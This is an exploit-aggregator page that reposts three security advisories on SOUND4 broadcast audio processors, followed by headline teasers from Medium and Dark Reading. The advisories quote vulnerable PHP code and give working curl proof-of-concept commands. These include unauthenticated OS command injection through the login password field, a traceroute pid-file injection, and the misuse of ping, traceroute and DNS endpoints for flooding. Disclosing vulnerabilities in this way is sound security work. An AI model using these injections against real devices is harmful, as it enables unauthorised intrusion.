Exploit Collector
SOUND4 IMPACT/FIRST/PULSE/Eco 2.x password Command Injection

https://3.bp.blogspot.com/-D2NV3HnXxpM/WWlu9YoBNhI/AAAAAAAAIJs/rLrqFdeLLWYSGUQPyN0O7DuhnXu7T_FjQCLcBGAs/s1600/h114.png
SOUND4 IMPACT/FIRST/PULSE/Eco versions 2.x and below suffer from a password related unauthenticated command injection vulnerability.

SHA-256 | 87e9bc33ec95ac9d66ff2caa9f5d4d61dc4d76eb1934816979fa04a477330ee1

Download

SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x
Vendor: SOUND4 Ltd.
Product web page: https://www.sound4.com | https://www.sound4.biz
Affected version: FM/HD Radio Processing:
Impact/Pulse/First (Version 2: 1.1/2.15)
Impact/Pulse/First (Version 1: 2.1/1.69)
Impact/Pulse Eco 1.16
Voice Processing:
BigVoice4 1.2
BigVoice2 1.30
Web-Audio Streaming:
Stream 1.1/2.4.29
Watermarking:
WM2 (Kantar Media) 1.11

Summary: The SOUND4 IMPACT introduces an innovative process - mono and
stereo parts of the signal are processed separately to obtain perfect
consistency in terms of both sound and level. Therefore, in moving
reception, when the FM receiver switches from stereo to mono and back to
stereo, the sound variations and changes in level are reduced by over 90%.
In the SOUND4 IMPACT processing chain, the stereo expander can be used
substantially without any limitations.

With its advanced functionalities and impressive versatility, SOUND4
PULSE gives clients the ultimate price - performance ratio, providing
much more than just a processor. Flexible and powerful, it ensures perfect
sound quality and full compatibility with radio broadcasting standards
and can be used simultaneously for FM and HD, DAB, DRM or streaming.

SOUND4 FIRST provides all the most important functionalities you need
in an FM/HD processor and sets the bar high both in terms of performance
and affordability. Designed to deliver a sound of uncompromising quality,
this tool gives you 2-band processing, a digital stereo generator and an
IMPACT Clipper.

Desc: The application suffers from an unauthenticated OS command injection
vulnerability. This can be exploited to inject and execute arbitrary shell
commands through the 'password' HTTP POST parameter through index.php and
login.php script.

========================================================================
/var/www/login.php:
-------------------
09: if (isset($_POST['username']) && isset($_POST['password'])) {
10:
11: $ret = -1;
12: // remarque: Check Password for broken, only admin/admin as valid user/password
13: exec('echo ' . $_POST['password'] . ' | /opt/sound4/sound4server _check_pwd_ ' .'"'.$_POST['username'].'";',$out,$ret);
========================================================================

Tested on: Apache/2.4.25 (Unix)
OpenSSL/1.0.2k
PHP/7.1.1
GNU/Linux 5.10.43 (armv7l)
GNU/Linux 4.9.228 (armv7l)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience
Advisory ID: ZSL-2022-5738
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5738.php
26.09.2022

--
> curl --fail -XPOST -sko nul https://RADIOGUGU/index.php --data "username=ZSL&password=`id>/var/www/g`" && curl -sk https://RADIOGUGU/g
uid=33(www-data) gid=33(www-data) groups=29(audio),33(www-data)

Source:packetstormsecurity.com

Exploit Collector
SOUND4 IMPACT/FIRST/PULSE/Eco 2.x traceroute.php Conditional Command Injection

https://1.bp.blogspot.com/-93ZP4TpCwBw/WWlu7wGG0SI/AAAAAAAAIJg/yDCONAkAMz8MX1TtbGL6KFo1njFu_UyvACLcBGAs/s1600/h111.png SOUND4 IMPACT/FIRST/PULSE/Eco versions 2.x and below suffer from a conditional command injection vulnerability in traceroute.php.

SHA-256 | 493fb94bb96a88e40abd33e5eccebbff52f80b0de903d6bad482c12681edc5d7Download SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x
Vendor: SOUND4 Ltd.
Product web page: https://www.sound4.com | https://www.sound4.biz
Affected version: FM/HD Radio Processing:
Impact/Pulse/First (Version 2: 1.1/2.15)
Impact/Pulse/First (Version 1: 2.1/1.69)
Impact/Pulse Eco 1.16
Voice Processing:
BigVoice4 1.2
BigVoice2 1.30
Web-Audio Streaming:
Stream 1.1/2.4.29
Watermarking:
WM2 (Kantar Media) 1.11

Summary: The SOUND4 IMPACT introduces an innovative process - mono and
stereo parts of the signal are processed separately to obtain perfect
consistency in terms of both sound and level. Therefore, in moving
reception, when the FM receiver switches from stereo to mono and back to
stereo, the sound variations and changes in level are reduced by over 90%.
In the SOUND4 IMPACT processing chain, the stereo expander can be used
substantially without any limitations.

With its advanced functionalities and impressive versatility, SOUND4
PULSE gives clients the ultimate price - performance ratio, providing
much more than just a processor. Flexible and powerful, it ensures perfect
sound quality and full compatibility with radio broadcasting standards
and can be used simultaneously for FM and HD, DAB, DRM or streaming.

SOUND4 FIRST provides all the most important functionalities you need
in an FM/HD processor and sets the bar high both in terms of performance
and affordability. Designed to deliver a sound of uncompromising quality,
this tool gives you 2-band processing, a digital stereo generator and an
IMPACT Clipper.

Desc: This vulnerability allows a local authenticated user to create a
file in the /tmp directory that contains malicious commands. The file
must have the filename ending with .traceroute.pid, and the commands in
the file can only be executed once by an external unauthenticated attacker.
By calling the vulnerable script and making a single HTTP POST request,
the attacker can gain command execution on the system. After the request
is made, the file containing the malicious commands will be deleted.

-------------------------------------------------------------------------
/var/www/traceroute.php:
------------------------
02: if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['traceroute_host']) && isset($_POST['networkid'])) {
03: $pidfilename="/tmp/" . $_POST['networkid'] . ".traceroute.pid";
04: if( file_exists($pidfilename)) {
05: $procid=file_get_contents($pidfilename);
06: shell_exec("pkill -P ".$procid);
07: }
...
...
29: unlink($pidfilename);
30: exit();
-------------------------------------------------------------------------

Tested on: Apache/2.4.25 (Unix)
OpenSSL/1.0.2k
PHP/7.1.1
GNU/Linux 5.10.43 (armv7l)
GNU/Linux 4.9.228 (armv7l)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience
Advisory ID: ZSL-2022-5740
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5740.php
26.09.2022

--
#On the server
> echo ";id>/var/www/b" > /tmp/251.traceroute.pid

#External
> curl -XPOST -sk https://RADIO/traceroute.php --data "traceroute_host=t00t&networkid=251"
> curl -XPOST -sk https://RADIO/b
uid=33(www-data) gid=33(www-data) groups=29(audio),33(www-data) Source:packetstormsecurity.com

Exploit Collector
SOUND4 IMPACT/FIRST/PULSE/Eco 2.x ICMP Flood Attack

https://3.bp.blogspot.com/-_lYy5AwzHPI/WWlvAVk_lrI/AAAAAAAAIKU/HsTDdKCabVkkHkFsXQw08U72hOmjap5rACLcBGAs/s1600/h121.png
SOUND4 IMPACT/FIRST/PULSE/Eco versions 2.x and below allow an unauthenticated attacker to send network signals to an arbitrary target host that can be abused in an ICMP flooding attack. This includes the utilization of the ping, traceroute and nslookup commands through ping.php, traceroute.php and dns.php respectively.

SHA-256 | 81c669280d4737e923eb0b0a5259214bbdd51f21c8109143eeadbef36025d06c

Download

SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x
Vendor: SOUND4 Ltd.
Product web page: https://www.sound4.com | https://www.sound4.biz
Affected version: FM/HD Radio Processing:
Impact/Pulse/First (Version 2: 1.1/2.15)
Impact/Pulse/First (Version 1: 2.1/1.69)
Impact/Pulse Eco 1.16
Voice Processing:
BigVoice4 1.2
BigVoice2 1.30
Web-Audio Streaming:
Stream 1.1/2.4.29
Watermarking:
WM2 (Kantar Media) 1.11

Summary: The SOUND4 IMPACT introduces an innovative process - mono and
stereo parts of the signal are processed separately to obtain perfect
consistency in terms of both sound and level. Therefore, in moving
reception, when the FM receiver switches from stereo to mono and back to
stereo, the sound variations and changes in level are reduced by over 90%.
In the SOUND4 IMPACT processing chain, the stereo expander can be used
substantially without any limitations.

With its advanced functionalities and impressive versatility, SOUND4
PULSE gives clients the ultimate price - performance ratio, providing
much more than just a processor. Flexible and powerful, it ensures perfect
sound quality and full compatibility with radio broadcasting standards
and can be used simultaneously for FM and HD, DAB, DRM or streaming.

SOUND4 FIRST provides all the most important functionalities you need
in an FM/HD processor and sets the bar high both in terms of performance
and affordability. Designed to deliver a sound of uncompromising quality,
this tool gives you 2-band processing, a digital stereo generator and an
IMPACT Clipper.

Desc: The application allows an unauthenticated attacker to send network
signals to an arbitrary target host that can be abused in an ICMP flooding
attack. This includes the utilisation of the ping, traceroute and nslookup
commands through ping.php, traceroute.php and dns.php respectively.

Tested on: Apache/2.4.25 (Unix)
OpenSSL/1.0.2k
PHP/7.1.1
GNU/Linux 5.10.43 (armv7l)
GNU/Linux 4.9.228 (armv7l)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience
Advisory ID: ZSL-2022-5728
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5728.php
26.09.2022

--
> curl -XPOST -sk https://RADIO/ping.php --data "ping_host=localhost&networkid=251" # ping -c 3 -W 5 %s
> curl -XPOST -sk https://RADIO/traceroute.php --data "traceroute_host=localhost&networkid=251"
> curl -XPOST -sk https://RADIO/dns.php --data "dns_host=localhost&networkid=251"

Source:packetstormsecurity.com

Hacking on Medium
TryHackMe Advent of Cyber [Day 15]-> Secure Coding

https://cdn-images-1.medium.com/max/1980/0*-946Sweclpi837hI.png
In 2021, a major online retailer suffered a massive cyber attack that compromised the personal information of millions of customers. The…

Continue reading on Medium »

Hacking on Medium
Does it possible to get hacked while charging?

https://cdn-images-1.medium.com/max/1200/1*Gz965OLKyFH1AbQKsx0_YA.jpeg
Recently, I watched the news regarding the blog title. They are still being debuting about this kind of Hacking. Does it possible?

Continue reading on Medium »

Hacking on Medium
Hackers usan archivos SVG para meter el malware QBot a sistemas Windows

https://cdn-images-1.medium.com/max/1769/0*rpL1rse9COe0OV0K
Las campañas de phishing que involucran el malware Qakbot utilizan imágenes de gráficos vectoriales escalables ( SVG ) incrustadas en…

Continue reading on Medium »

Hacking on Medium
Metasploit framework avialble below-

Exploit — An exploit module executes a sequence of commands to target a specific vulnerability found in a system or application. An…

Continue reading on Medium »

Hacking on Medium
"Unlock the potential of your Android device with rooting - but proceed with caution."

https://cdn-images-1.medium.com/max/2600/1*xZcf6EF1bPfP6Q-vVSr7qw.png
Android rooting is the process of allowing users of Android devices to attain privileged control (known as root access) over various…

Continue reading on Medium »

Dark Reading: Attacks/Breaches
Axonius Bolsters SaaS Management Offering With New Behavioral Analytics and SaaS User-Device Association Capabilities to Help Teams Address SaaS Application Risk

New features bring greater visibility and context into SaaS applications access and activity.

Dark Reading: Attacks/Breaches
Stolen Data on 80K+ Members of FBI-Run InfraGard Reportedly for Sale on Dark Web Forum

InfraGard's members include key security decision-makers and stakeholders from all 16 US civilian critical-infrastructure sectors.

Dark Reading: Attacks/Breaches
Meta Ponies Up $300K Bounty for Zero-Click Mobile RCE Bugs in Facebook

Facebook's parent company has also expanded bug-bounty payouts to include Oculus and other "metaverse" gadgets for AR/VR.

Dark Reading: Attacks/Breaches
WatchGuard Threat Lab Report Finds Top Threat Arriving Exclusively Over Encrypted Connections

New research also analyzes the commoditization of adversary-in-the-middle attacks, JavaScript obfuscation in exploit kits, and a malware family with Gothic Panda ties.

Dark Reading: Attacks/Breaches
DDoS Attack Platforms Shut Down in Global Law Enforcement Operation

Sweeping operation took down around 50 popular DDoS platforms, just one of which was used in 30M attacks, Europol says.